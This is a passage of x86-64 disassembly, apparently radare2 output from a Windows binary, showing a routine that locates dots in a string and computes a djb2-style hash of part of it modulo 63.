jne 0x140031a32
mov qword [rsp + 0x30], rsi
xor esi, esi
mov qword [rsp + 0x38], rdi
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rbx + rdi], sil
jne 0x140031982
mov r8, rdi
mov edx, 0x2e
mov rcx, rbx
call fcn.140053ed0
test rax, rax
je 0x1400319c7
sub rax, rbx
mov edx, 0x2e
mov r8, rax
mov rcx, rbx
call fcn.140053ed0
mov rsi, rax
test rax, rax
je 0x1400319c7
inc rsi
mov rcx, rbx
sub rcx, rsi
add rdi, rcx
test rsi, rsi
cmovne rbx, rsi
lea rsi, [rbx + rdi]
mov edi, 0x1505
cmp rbx, rsi
jae 0x1400319fb
nop dword [rax]
movzx ecx, byte [rbx]
call fcn.140043860
imul rdi, rdi, 0x21
movsx rcx, al
inc rbx
xor rdi, rcx
cmp rbx, rsi
jb 0x1400319e0
mov rsi, qword [rsp + 0x30]
mov rcx, rdi
movabs rax, 0x410410410410411
mul rdi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 5
imul rcx, rcx, 0x3f
sub rdi, rcx
mov rax, rdi
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret